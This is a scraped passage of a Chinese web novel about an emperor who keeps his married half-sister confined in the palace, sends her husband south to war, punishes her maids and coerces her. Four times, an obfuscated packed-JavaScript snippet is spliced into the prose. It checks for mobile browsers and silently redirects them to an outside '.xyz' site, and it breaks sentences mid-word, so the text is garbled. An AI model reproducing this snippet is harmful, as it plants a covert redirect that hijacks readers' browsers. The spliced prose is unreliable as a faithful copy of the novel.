;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799970|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将仇敌的生活习性、喜乐好恶、所思所想，精准无误地把握，更将她的性命看得比他自己的还重。 薛怀义对薛柔所倾注的情感，正是“恨比爱来得更深刻，更长久”的真实写照。 薛柔果然没能逃脱他的拿捏，倏然睁眼，临到嘴边的咄咄逼问，因阳气严重耗损而软绵绵下来，气势全无：“你拿他们威胁我？……薛怀义，你真够卑劣的……！” 薛怀义并不认同，逼近半步，视线不客气地在她发青的脸上横扫，狭长的眼睛里泛起青黑色的涟漪：“贼喊捉贼的伎俩，你倒是不嫌腻。” 突然感觉没必要和她就此争执不休，她若是个心肠好的，怎会一手毁了他的人生。 “下贱也好，卑劣也罢——”上位者的傲慢与笑意在薛怀义眼底疯狂滋长，直蔓延至整张脸，“想保他们平安无虞，妹妹且自己掂量着办罢了。妹妹可是知道的，朕从来言而有信。” 过往被薛柔欺压时，是唯唯诺诺，现今手握滔天权势，则变成了言而有信。 “三喜，我饿了，扶我起来。” 薛柔割舍不下那些视她为珍宝的人，忍辱妥协了。 * 圣意已决，程胜即刻传令翰林院，连夜起草南征调兵遣将的圣旨，经皇帝御览无误，次日一早，传达给各人。 薛通胸怀壮志，庄重接旨，立誓不辜负天子青睐，与何辉、崔介强强联合，平定西南一带，彻底将其收入大周版图。 崔介可高兴不起来。 丧期未满，家宅未宁，薛柔未回，他如何抛得下，去安然随军南下，又坦然搅弄风云。 觑他没马上领旨，崔安急了，喉咙里闷咳了一下，头也朝后偏了偏。 “崔大人可是对这圣旨持有疑问，意欲抗旨吗？” 崔介和薛柔是一条船上的，程胜鄙夷薛柔，不忘捎带着挤兑崔介。 崔介始终清醒，然而因为太过清醒，一切可能性纷纷在脑子里成型，不限于皇帝任用他是否别有用心；他这一走，少说一两年，多则五六年，那庞大冗杂的崔家该当和如何从；薛柔至今都呆在乾清宫等他去接，他若食言，她怎么办…… 崔介有些呼吸困难，看着面前一水的宫靴，陷入两难。 李夫人心里恨，架不住宫里人在场，唐突不得，没法咒骂崔介居心不良，企图坑害整个崔家。 崔碌同崔介是同辈人，挨得近，微微转头，压低的嗓子下饱含惊慌：“二弟，你搞什么，还不快点接旨，难道你想拉大家下水，到时候排着队上断头台吗？！” 费尽千辛万苦，薛嘉才答应嫁给他，他喜欢了她那么多年，决计不能功亏一篑！ 程胜等不耐烦，掂掂卷起来的圣旨，讥笑道：“看来，崔大人这是打算抗旨不遵呐？” 一家上下几百口人的命，全自己的一念之间，崔介逼着自己上前接下圣旨。 程胜暗暗翻个白眼，及吆喝一干人撤走，崔介冷不提防伸手拦路：“我也准备进宫面见陛下，程公公不介意的话，搭家里的车子回宫吧。” 崔介铁定心，不论怎样，今日他定要见上薛柔，然后，带她还家。 31. 占有欲 上书房外，程胜停步，扭头看看几近望穿门扇的崔介，皮笑肉不笑道：“那崔大人，奴才进去通传一下，您且稍候。” 崔介容色凝重，口吻肃穆：“烦公公向陛下多带一句：今日，微臣无论如何都要见陛下一面。” 好生轻狂，活脱脱那十公主的样儿，真是一个被窝里睡不出两种人来！ 程胜万般嫌恶，假模假样笑一笑：“奴才记着。” 而后推门入内。 计划成型之日，薛怀义便料到崔介会奋不顾身进宫来了，但他仍旧耐心听程胜汇报完毕，合起手中奏折，闲闲道：“让他进来说话。” 大门一敞，炽白的天光倾泻而入，崔介便逆光走进，睫毛轻垂，拱手说：“微臣参见陛下。” 世家大族出来的公子就是不一样，临到这份上，还谨记恪守礼数，薛柔心地不怎么样，看人的眼光却是没得指摘。 薛怀义暗笑，这次没故意晾着他，问：“才下了旨你就找来了。说吧，所为何事。” 薛怀义是在揣着明白装糊涂，刻意让崔介自己一层层揭开那难以言说的痛处，偏又无能为力。 他就是要崔介认清楚，所谓美名遍天下的正人君子，在绝对的权力面前，与蝼蚁无异。 “回陛下，”崔介慢慢端正视线，正面回应来自薛怀义的嘲弄傲视，“阿柔究竟是微臣的结发妻子，长久在宫里不成体统，请陛下准许微臣接她回家。” 结发妻子。 薛怀义幽幽一笑：“不错，十妹妹是你的发妻，可同样是朕的妹妹。朕的妹妹身体不好，养在朕身边恢复，怎么到你崔大人的嘴里，就成了不成体统？” 崔介有理有据，不卑不亢道：“阿柔入了崔家的族谱，现在是崔家人——她先是微臣的妻子，才是陛下您的妹妹。” 崔介以往不敢妄自揣测，但经历一系列啼笑皆非的阻碍与刁难后，他大彻大悟：座上那位对薛柔，有着不该在兄妹之间出现的占有欲，那种情愫，是男人对女人的。 薛怀义微微后仰，下巴扬得更高，眼皮子放得更低，完全彰显着至尊者的不可一世：“哦？那依你之见，理该使薛姓让后，以你崔姓为首，以后外人唤朕的妹妹，非公主殿下，而是你崔家媳妇崔薛氏了？” 这番话很重，崔介若回答得不妥当，极有可能被打成意欲篡权夺位的乱臣贼子。 程胜鬼灵精，听话风不对，积极进谗言，火上浇油：“陛下，刚刚宣旨的时候，崔大人好半晌没动作，奴才前后提醒了好几回，这才接了呢。” 程胜藏匿着哪门子心思，薛怀义一清二楚，权且斜睨一下贼兮兮的程胜，推波助澜道：“哦？崔大人，果真有这等事？” 崔介不假思索，坦诚接言：“回陛下，确有此事——微臣家中遭变，尚未得到有效处理，微臣的妻子又与臣相隔两处，见不得面，眼见地成了微臣的心结，微臣委实放不下。” 倒是坦荡磊落。 薛怀义不吝啬去欣赏他这份光明正气，但他口口声声称呼薛柔为他的妻子，顽固地同一国之君宣示主权，未免妄自尊大，不识抬举。 “却是个痴情种呢。”薛怀义阴阳怪气道，旋即口径急转：“先有国才有家，此乃为臣之道，崔大人以君子自居多年，莫非有心为一己私欲而枉顾大局么？” 崔介不认输，咬紧牙关道：“微臣只是想接自己的妻子回家，如若这算一己私欲，”他直盯着对面两只黑洞洞的眼，“那陛下无视她的意愿，终日将她拘在身边，又算什么？” 程胜怒斥：“大胆！竟敢数落陛下的不是，崔大人，你好生放肆！” 长到二十岁，崔介向来检点自身，从未有逾矩之处，今日是初次，大抵也是最惊心动魄的一次——当堂与天子辩论，乃至问责天子。 “臣不敢。”崔介意识到失态，低眉顺眼作揖，赔完罪，又死咬着薛柔不松：“如若臣提出接家妻还家，算作无礼，从而冒撞了陛下，那臣任陛下责罚，但，臣的想法，不会因此更改。” 古有傅介子不破楼兰终不还，今有崔介不迎妻归终不退，好一个痴情种子。 薛怀义突然想笑，也顺势笑了：“原就久闻崔大人的君子做派，今儿竟叫朕刮目相看了。” 崔介的脊梁绷得直溜溜的，一眼像鹅毛大雪里挺拔的青松，劲节不屈。 一时，一个内侍躬身悄步进来报告：“陛下，崔家二爷携其夫人在外求见。” 时间倒回一个时辰前。 崔介几度恍惚不愿领旨，险些酿成大祸，其母余夫人一览无遗，又有母子连心一说，余夫人一动脑筋，推断崔介种种反常，准保是因牵挂薛柔所致。 结果不出所料，崔介撇下乱成一锅粥的崔家，毫无犹豫地入了宫。 余夫人心里堵得慌，加上这段时日崔介时而心不在焉，生恐他一时脑子不清醒，进宫惹出什么意外，忙忙同丈夫崔寿商量着追入宫来，尽可能阻止闹剧发生。 崔介是个孝顺的孩子，他们当父母的在场，他总会往正经地方思忖些。 崔介心下一动，真有些沉不住气了。 他熟谙父母的为人，前后脚赶来，必定是担心他和皇帝为薛柔的来去而抬杠，前来拦阻了。 有他们在，他得处处考量、忌惮，还拿什么同皇帝相持，凭什么带薛柔离开这座狼窟。 崔介深谙的，薛怀义同样熟知，抬抬嘴角，示下：“宣他们进来。” 少顷，崔寿率余夫人伏地叩见，薛怀义懒怠摆手叫他们平身，光就口头上表示：“二位且起来吧。” 崔寿暗暗扶一把余夫人，薛怀义却真真切切看见了，不合时宜地生发出良多感触：难怪崔介有胆量逼问他，合着是叫一个幸福美满的家庭给惯傻了，想当然底气十足，有恃无恐，妄想蚍蜉撼树。 余夫人捉住崔介的袖子，上下打量，确认毫发无损，那股子揪心感得以消退些许。 人松快了，嘴巴便管不住，一个劲埋怨崔介：“当着陛下的面，你让我说你什么合适……你可真是痰迷心窍，居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799971|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然干出这等鲁莽事来！” 候在外头等觐见时，余夫人从一个太监口里打听来七八成上书房之内的动静，剩余的几成，靠对崔介秉性的了解，大致串联起来，差点两眼一翻原地晕死，万幸经崔寿及时搀扶，并予以慰藉，方强打起精神。 崔寿也急得厉害，跟着搭腔：“起初你母亲跟我哭诉，我还道不必多虑，你最知进退，结果你竟真的不管不顾到这儿来……” “以下犯上”一词堪堪咽了回去，继而哀叹道：“明夷，你太叫我失望了。” 薛怀义乐得见崔寿夫妇谴责崔介的光景，挂着微笑，不去打断，万分悠闲地旁观。 父母不理解自己，崔介是可以体谅的，而设身处地思量是一回事，放不放弃又是另一回事。 “父亲，母亲，原谅儿子不孝——”崔介转眼直视薛怀义，“今日迎不回阿柔，儿子断乎不能离开。” 这已经是他不知几次来表明自己务必领回薛柔的决心了，对薛怀义的，对父母的。 他不厌其烦，三番五次强调着。 余夫人忍不住偷偷抱怨新皇帝：那薛柔已然是崔家的一份子，老被留在宫里成什么样子，竟也猜不透那位打的什么算盘，搅得别人一家子不得安生，真是儿戏！ “那你大可以冷冷静静地讲呀，陛下是明君，指定会同意的。” 余夫人心疼儿子，便站到了崔介这边。 崔寿是个办实事的，直接面朝薛怀义，深深作揖道：“犬子不日将踏上南下之旅，不知几时能归家，请陛下念在人之常情上，恩准公主随我们回家，许他们夫妻最后团圆几日。陛下疼爱公主，草民知道，草民在此保证，寒舍虽远不及皇宫，但家里人一定会竭力照顾好公主的，绝不让公主受一丝一毫的委屈。” 一篇话，既点明了薛柔与崔介不可分割的关系，维护了崔介，又考虑到皇帝的脸面，替皇帝强留薛柔在身侧寻好理由——皇帝疼爱妹妹；此外不惜贬低自己，无限抬高皇帝，确保了皇权至上——真真滴水不漏，令人无从反驳。 薛怀义笑得深了，不觉眯缝着眼：“朕若不答应，倒是显得过分不近人情了。” 听其口风似有转圜之地，一束阳光随即照入崔介的心房，使他丛生欢喜，拱手说：“微臣谢陛下隆恩。” 打眼一瞧崔介已有按捺不住之势，薛怀义端起头颅，呈睥睨之态：“崔家现今乱成了一团，属实泥菩萨过河，任十妹妹过去，惶惶度日，朕于心不忍。” 崔寿不由自主和余夫人对上视线，两人却难得心意相通——无端撂这通冠冕堂皇的说辞，也不痛痛快快松口让把人接走，又在搞哪出名堂？ 崔介墨色的眼眸里，宛如掉入了一个石子，惊破了素日的自矜。 他举目，安安静静朝那上位者投去凝视。 薛怀义很是享受见证他人心愿幻灭时残忍，上挑的眉峰流露着自负：“朕给你一个时辰，去和十妹妹好生道个别吧。” 最后一次以薛柔驸马的身份，道个别。 32. 生离 薛柔和崔介重逢在一个阴雨连绵的上午。 薛柔不久前才服了药，三喜知她最怕苦，备下新鲜蜜饯给她润喉，可她拒绝了——只有纯粹的辛苦，方能起到警醒她牢记现下束手束脚、任人宰割的作用，如若再添蜜饯，她会忍不住陷入那回味无穷的甘甜之中，从而逃避现实的。 “崔……介？” 崔介悄无声息而来，薛柔是从面前的铜镜里看见他的，猝不及防地，久违地。 在望见她的脸以前，崔介注意到了她如蝶翼般的肩背，一触即碎。 他的目光，便被钉在了她的背影上。 “你，又清减了。” 崔介分明听见，他自己的声音在发颤，明确感知到，自己的心在不断收紧。 他离开她的日子里，她究竟吃了多少苦，遭了多少罪，他没勇气深究。 上一瞬仍在牵肠挂肚之人，活生生降临眼前，本应立马窜起身撞到他怀里，喋喋不休诉说连日思念，但薛柔，偏偏做不到，一直透过面前的镜子和他对视。 “是吗？”薛柔出奇地平静，平静到一定程度，流入了死寂——她的灵气不知不觉被这座金碧辉煌的牢笼耗尽了，“你也是，瘦了，憔悴了。” 崔老夫人的离世，对他的打击很大吧。 若将现在的她比作秋日枯萎的柳枝，那他则是冬日结冰的池水，生气全无。 崔介慢慢向前，站在她单薄的背后，低垂的手无数次想要抬起来去抚摸她的发丝，然而好似断了线的风筝，根本不由他自主，始终难以得偿所愿，总是差那么一点。 “你怎么说服薛怀义的。” 崔介的声音清朗悦耳，每每听了，心情会变好，薛柔郁郁寡欢久了，也想重温一下开心的感觉。 终有这么一刻的，当余夫人死拉着他的衣袖，崔寿拧眉，满含希冀地看着他，他几经犹豫，指甲生生掐在掌心下，做出妥协的时候，崔介便清楚预见，现下面对薛柔随口一问时的愧疚与不堪了。 “他是不是使卑鄙手段威胁你什么了？”许久等不来崔介的答复，薛柔眉心一跳，快速转身，直上手抓住崔介的袖子，“你告诉我，薛怀义做了什么？” 崔介沉默不语，眼里翻滚过无数情绪。 他皱眉，薛柔便随着皱眉，他翕动嘴唇，薛柔便跟着翕动嘴唇，当他终于肯开口之际，换她缄默了。 “陛下命我随军下西南，平定边陲……我，没理由拒绝。” 他要去西南，那她呢？ 她该怎么办？ 崔介眼尾流下的泪，猛然刺醒了薛柔，她攥他更紧，语无伦次道：“那我呢？崔介，你告诉我，你走了，我如何自处？” 问到后面，赫然成了咄咄逼问。 过了二十年优渥生活，崔介头一次尝到了无能为力的滋味，如鲠在喉，也不敢继续直视她，去面对她字字锥心的质问。 他不言语，薛柔便用力摇撼他的胳膊，他眼神躲闪，她便四处围堵他的目光。总之，不得到回答誓不罢休。 “你承诺过我，要来带我回去的，那你又说你要去南边……你是要食言了吗？” 似乎有一双手伸入心窝，狠狠捏住了心脏，叫崔介抽离不得。 “……是我出尔反尔，我不是人，我该死，我真该死！” 崔介忽然扬手，照自己的脸打下去，一下接一下，一下比一下狠厉，仿佛使上了毕生的力气。 “你住手！” 他折磨的是自己，疼的人不单是他，还有薛柔。 除却自扇巴掌，将那可笑的尊严踩在脚底之外，崔介做不到别的，所以，他不能停手，不能轻飘飘放过自己。 薛柔一把拖住他的手臂，抱在怀里不肯松，眼睛像被洪水淹了：“我不接受这样的结果，我只要你履行诺言，带我走……崔介，你听明白了吗，我要你带我一起走。” 拴在这方天地，日日面对薛怀义丑恶的嘴脸……她生不如死。 崔介去南边，她也可以随他去，吃糠咽菜也好，颠沛流离也罢，但凡能彻底甩开薛怀义，她通通可以忍受。 崔介就是恼恨自己无法义无反顾地带她走，他的身上系着崔氏一族的未来，他若任性，族人性命难保。 他，不能随心所欲。 “对不起，对不起，你恨我吧……” 薛柔忽然笑了，混着满容泪水绽放笑颜，缓缓张开五指，由光滑的绸缎划过掌心，如一场春雨，从空中落下来，被厚厚的泥土所吞灭，什么都不剩，干干净净。 “骗子，崔介，你是个大骗子。”没有歇斯底里，没有痛哭流涕，她一直笑着，灿若星辰，“我以为，你是值得信任的。原来，是我自作多情、一厢情愿啊。” 难怪薛怀义每次来寻晦气都是笑容满面的，合着是旁观者清，他早已看破她会沦为一个彻头彻尾的笑话的结局了。 崔介无颜用家族使命来替自己开脱，更无颜去奢求她的原宥，错就是错了，过程不重要，没能兑现当初的诺言，玩弄了她的真心，就是罪大恶极。 “全决定了的事，你又来做什么，专门看我这副狼狈样子吗？” 薛柔胡乱揩干泪痕，倒后两步，与崔介之间相隔一把椅子，却像隔了一条鸿沟，不可逾越。 崔介不知理智为何物，只凭本能摇头否认。 她在等他的解释，他肯说，她就相信，而他选择了缄口不言。 “所以，是专程与我告别的。”因重聚而热起来的心血，渐渐冷了，薛柔径去床前，自枕头下取出一块翠绿的玉，随后向崔介摊开手心，“我不需要了，还给你。” 玉承载着对他的期望，如今落空了，便没有用处了。 天际忽然劈开一道闪电，炸雷紧随其后，雨势见猛，黄豆大的雨滴敲打在门窗上，很响，很吵。 透亮的玉躺在瓷白的掌心，颜色单调，却刺痛了崔介的双目。 她将玉物归原主，她不需要玉了，也不需要他了。 他可恶地伤透了她的心。 “薛怀义给了你多少时辰来这一遭，”薛柔笑问，“半个时辰？一个时辰？” 薛怀义是个睚眦必报的，既不顾风言风语囚了她，那便绝对不会允许崔介与她待太久，一个时辰是他的极限。 话音落下的刹那，窗外经过几道人影，俄而，门开了。 三喜四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799972|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庆守在门口，纷纷低头屈膝：“陛下。” 掐指粗略一算，崔介进来有小一个时辰了。 薛柔心里眼里俱起了雾。 这之后，她注定与崔介背道而驰了。 薛怀义款款于薛柔身边站定，衣裳擦着衣裳。 “谈得如何？” 他在崔、薛二人之间睃一圈，心中已有八成明白，却纵容明知故问的恶趣味愈演愈烈。 跟他并排站立，薛柔已觉心烦，刚有意躲远些，肩膀蓦地被人按住了，是薛怀义在作妖：“妹妹手里攥着什么，让朕看看。” 即便与崔介生了嫌隙，但崔介的东西，仍远远轮不到一介下流种子触碰。 薛柔死死护着，将玉的边边角角亦包裹严实，提防被薛怀义偷看了去，一面冷笑怼他：“你这皇帝当得未免太清闲了，不把工夫用在朝政上，专门探听别人的家事，传出去也不怕遭世人耻笑。” “家事”一词，顺理成章地和他划清了界限。 “你是朕最亲最爱的妹妹，朕花时间在你身上，谁敢置喙？”薛怀义不屑遮掩过多，直白而露骨地盯住薛柔，“崔大人，你说是也不是。” 崔介感受到了浓浓的恶意——明晃晃踢开他这个驸马，将薛柔剥离开来，归属为皇帝最亲近宠溺的妹妹；与其打着妹妹的幌子，不如直接说是皇帝的人。 薛怀义在对他宣示主权。 “你脸皮厚，不介意名声，我却要脸。”耳畔的挑衅，终于把薛柔逼疯了，不管崔介如何看待，冷脸贬损薛怀义，“父皇若在，岂能容你这副小人得志的面目！” 薛怀义在笑。 他等候多日的，一身反骨的薛柔回来了。 崔介强烈意识到，薛怀义很危险。 恐薛柔深受其害，他下意识上前，以身躯掩住薛柔，手自动寻上那纤纤手腕，想用力却害怕她会疼，便收敛手劲握住。 “你起开，我不怕他。”崔介诓骗她，使她万念俱灰，她再不愿安然接受他所谓的庇护，咬牙摔开他的手，后将玉塞入他怀，“你走吧，莫在此添乱了。” 崔介捂着玉，上面残存着一丝丝温度，是她染上的，心如一座深谷，空落落的，仅有他自己悔恨不及的声音在回荡。 薛怀义瞟眼窗外，但见电闪雷鸣，大雨如注，贴心地嘱咐程胜：“崔大人走得急，没带伞，你速备马车，送人出宫。” 距离崔介踏入这间屋子，不多不少，恰好一个时辰。 薛怀义是个守时之人。 这一去，就彻彻底底失去薛柔了，崔介无比清楚。 双腿如千斤重，他拿不开脚步。 薛柔逃开斜对过充满眷恋的凝视，板着面孔冷冰冰道：“快走吧，别耽误了你的大事。” 她知晓薛怀义的逼迫及崔介的无奈。 崔介有一家老小要照管，进退维艰，所以做出了牺牲她的抉择，反正她在薛怀义身边又不会有性命之忧。 可以理解，如果换做是她，她也会重复他的老路，但不意味着原谅，她不会原谅他，至少现在不会。 崔介是被程胜半拽出去的，到最后一刻，他都未能得到薛柔回头一顾。 33. 惩戒 六月二十，是王媖十八岁的生辰，也是她入宫以来过的第一个生辰，热闹，隆重，却缺了最重要的一个人。 “娘娘，您不胜酒力，别再喝了吧……”银杏皱眉，斗胆按住王媖斟酒的手，殷殷切切道，“大家伙都在，娘娘若是醉了，指不定传出什么来。” 劝是劝，银杏实在压着火气呢。 皇后娘娘过生日，普天同庆，偏偏十公主又丧声歪气地给自己折腾病了，引得陛下心急，一刻也坐不住，接信儿就走，全然不管殿内坐着众人，硬生生置皇后无地自容。 对妹妹，还是半路相认的妹妹，竟赛过正宫娘娘上心，这叫人上哪说理去。 银杏为主忿忿不平，王媖这个主子倒没有气愤，只有话不尽地酸楚。 陛下待她冷漠，她待陛下亦无情，貌合神离的两个人，因为种种不可抗力的因素凑在了一起，会有什么好果子。 假如她不是家世煊赫的王家之女，而托生在一个小门小户下，那以如今这个年岁应当自由许多吧——不用遵守那一条条繁文缛节，尽情满足自己的口腹之欲，到了年纪，相看一个自己欢心的人，与他做一对平凡夫妻，相守到老…… 醉了，当真醉了，不然怎么多愁善感起来。 王媖摇摇脑袋，将黏在头上的恍惚感甩开，逐渐耳清目明。 放下空了一半的酒瓶，右手边有一道幽深沉静的目光，越过幢幢人影，爬上她的面门，渐渐长在了她的眼里。 是他，是谢琰。 死去的记忆势不可挡地活了起来。 他是父亲的学生，同是父亲最得意的门生，与崔介共同殿试，摘得探花荣誉，随后入职翰林苑。 嫁入东宫后，一心只闻东宫事，他在翰林院如何，是否定下良姻，通通被她闭目塞听在外。 一年有余，金碧辉煌的大殿上，再度重逢，明明只隔几个人几张桌子，竟如隔山隔海，遥不可及。 银杏心细如发，早打听见今日皇后寿宴谢琰也会参与——他凭借超凡才华，及国丈学生的不俗身份，得陛下赏识，扶摇直上，连升两级，戴上了从五品侍讲学士的乌纱帽，自然有资格出席。 银杏就怕皇后、谢琰二人不经意对上视线，两人毕竟有过那么一段，固然发乎情止乎礼，谁都没挑明，但银杏看得出，皇后一直没放下，素日不打照面尚可，一见上面，保不齐死灰复燃。 那可是暗通款曲、秽乱宫闱的重罪，绝对不能出差池！ 思及这层，银杏忙倒杯清水奉与王媖：“娘娘，您脸红得厉害，喝点水冷静冷静吧。” 冷静想想现今的处境，切莫覆车继轨，牢记“当断不断，反受其乱”的道理。 王媖久梦乍回，艰涩转眸，伸手接了银杏的温水，逼着自己一口又一口饮用，逼着自己心无旁骛。 这份暗地里萌生的情缘，打一开始就是个错误；亡羊补牢，为时不晚，她跟他，皆不可执迷不悟下去了。 王媖狠心切断对视后，谢琰低垂了眼皮，看着未开口的玉瓶，沉思良久，动手拔出酒塞，白得透亮的浆液泻入青花瓷酒盅内，隐隐散着香醇之气。 琼浆玉液滚滚流入谢琰腹中，但觉有人在拿刀子一下下割他的喉咙，火辣感沿食道，一直拖曳至胃里，又热又辣，可远不及心脏难受。 心疼。 他心疼她。 谢琰心疼王媖。 同一时间，乾清宫暖阁。 青纱帐内，薛柔闭眼侧卧，她没入睡，是眼疾复发，眼里白茫茫一片，好似下雪，什么都看不见了。 “为崔介伤心？”薛怀义就在床边高高地立着，暗红的烛光将他微微俯视的轮廓镀上一层朦胧的光边，幽微，神秘，高深莫测，“妹妹铁石心肠，倒为一个弃你如敝履的男人吃尽苦头，叫朕十分意外呢。” 南征军明日开拔，南地凶险，归家无期，崔介、九哥哥，她在意之人，均被薛怀义捏在手心摆布…… 他是冲她来的。 “崔介没有，”薛柔一动不动，维持背对人的姿势，“他没有弃我如敝履。是你，是你在背后搞鬼，是你在报复我。” 薛怀义笑了：“崔介非池中之物，朕只是给他一个实现抱负的机会，况且，朕为主，他为臣，朕调遣他，何错之有？是妹妹你是非不分，不识时务，自作自受而已。” 当初欺他辱他之时，就应做好多行不义必自毙的准备。 薛柔冷声讥讽：“我不悔我当初的作为，要悔只悔那时下手太轻，留你一条贱命苟且至今……我错了，我真的错得离谱，居然对你手软！” 薛柔是块硬骨头，不好啃，但薛怀义有一点一点磨碎她的耐心与决心，当下笑说：“你一再骂朕贱种，那你身为朕的妹妹，你又是什么？” 薛柔总是学不会忍耐，勃然大怒，费力坐直身子，强忍双目不适，张开空洞洞的眼：“我从来都没承认过你是我的哥哥，我与你，八竿子打不着。你以后少说妹妹两个字，你不配！” “是么。”迎着她死寂的怒视，薛怀义伸手捞起她的下巴，指尖的温意同她皮肤的凉意碰撞，厮缠，最终融为一体，“可巧，朕也没只把你当妹妹看。” 薛怀义是薛柔名副其实的哥哥，岑熠不是。 薛柔盲目打开禁制了下颔的重量，咬牙切齿道：“你滚开，我嫌你脏！” 一面呼唤三喜四庆。 “别白费力气了，”做戏做久了，是会累的，薛怀义也不例外，他索性放任冷血无情的一面，“她们怕死，不敢擅闯。” 薛柔连身带心一凛，佯装镇定：“你干了什么？” 头顶的声音悠悠的、闲闲的：“她们是衷心不假，只是衷心用错了地方——” 声音慢慢低了，近了，巧妙地落在右耳膜上：“私自往外传递消息，视为私通，理应重罚。” 是了，是她不死心被锁在这鬼地方，抓着三喜的手，凝重交代她用妆奁里的首饰收买门口看守的禁军，试图向母后求救。 看来，失败了。 “是我一个人的主意，她们是授我的意，你觉得不满，尽管对我来啊，欺负两个宫女算什么本事！” 薛柔自私且护短，自己不吃亏，自己的婢女也不能吃亏，哪怕今朝失势，亦不会坐视不管。 “当然。”与喑哑的回应同时落下的，是脸颊优柔的抚摸，每拂过一点，身上的鸡皮疙瘩便多冒一茬，“朕不昏聩，略施惩戒罢了，闹不出人命来。” 略施惩戒——把三喜四庆拖去了浣衣局做苦力，既起到了杀鸡儆猴的作用，又拆掉了薛柔的臂膀，叫她彻底死心，安安分分待在乾清宫赎罪。 薛柔恍而升腾起一种不详的预感，灰黑的瞳仁暗藏戒备：“什么叫略施惩戒，你给我说清楚了。” 指腹一路摩挲，擦过鬓发，直抵耳垂。 薛柔猛地僵住，因为自己的耳垂被人捏住了，还在孜孜不倦地揉捻。 真是……卑劣至极。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799973|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “她们两个不老实，始终靠不住，不如换两个乖巧的来伺候你。” 耳垂脱离魔掌，紧接着响起两下拍手声，然后是如猫一般轻盈的走路声。 “奴婢青萍。” “奴婢霁蓝。” “参见公主。” 正前面，平添两道柔和轻细的声线。 静默半晌，薛柔了悟现状，不觉咬紧牙关：“你把她们两个弄哪去了，你最好给我全须全尾地送回来，否则我不会饶了你的！” 青萍霁蓝受过严酷的训练，明白该听的听，不该听的则装傻的真理，适时默契垂眼，与空气合为一体。 薛怀义站直，俯瞰着床上那眼神漫无目的，尽显迷茫无助的人，尽情嘲笑：“你连最起码的视物且做不到，拿什么筹码来给朕好看？” 那对为崔介哭瞎的眼循声望过来，当中淬有人间百味，复杂万千，薛怀义摸不透。 他痛恨自己摸不透，尤恨看久了，自己会情不自禁地沉溺其中。 “看好公主，若出了岔子，唯你们是问。” 必须抽身了。 于是乎，薛怀义迈开腿，大步流星去了。 青萍霁蓝双双抬头。 霁蓝接管四庆的营生，外出预备薛柔沐浴的热水，青萍则近薛柔身，温声说：“公主，天黑了，该用药了。” 薛柔就此失明，薛怀义绝不能容忍，来之前传召过吴院判，重新配了药方，外敷的内服的，先用一个疗程看效果。 薛柔窝着悲愤之气，盲指着门口，冷脸说：“给我滚。” 薛怀义安插进来的眼线，不配得到她的好脸色。 霁蓝身兼料理好薛柔日常起居的使命，不可顺应着撤走，便不退反进，操着如死水般平和的嗓音说：“奴婢来就是服侍公主的，奴婢不能走。请公主上药。” 漫漫怒火悉数倾注于丢下地的枕头上，薛柔冷硬复述：“我叫你滚。” 霁蓝镇静自若，拾起枕头，放回原处，稳稳道：“请公主多考虑考虑自己的健康，不要任性了。” “你是什么玩意，也敢支使我？”薛柔气极反笑，“不滚是吧？好啊。你既成了我的奴才，那便要有奴才的自觉。” 霁蓝平静聆听。 “跪下，掌嘴二十。” 霁蓝诡异地顺从，当即跪倒，挥手自己掌嘴，响亮，清脆，豪不糊弄。 够二十以后，霁蓝悉心说：“只要公主不拿自己的身子赌气，奴婢赴汤蹈火，万死不辞。” 犹如一拳打在了棉花上。 这些天默默泪流成河，薛柔确实累了，疲于和霁蓝耗下去，随便揭揭嘴皮子：“把药端来，你们麻溜滚。” 霁蓝说：“怕是不成，另有敷眼的，您自个弄不了。” 薛柔沉默以对。 霁蓝脑子灵光，知道她这属于默许了，托着衣摆起身取药过来，稳当着动作服侍。 “三喜四庆，现在何处？” 心力交瘁之际，薛柔依然关心她们俩的情况。 三喜四庆去浣衣局，不是秘密，没必要隐瞒，霁蓝如实告知。 薛柔手指成拳，沉沉打在被褥上，惊起一声闷响。 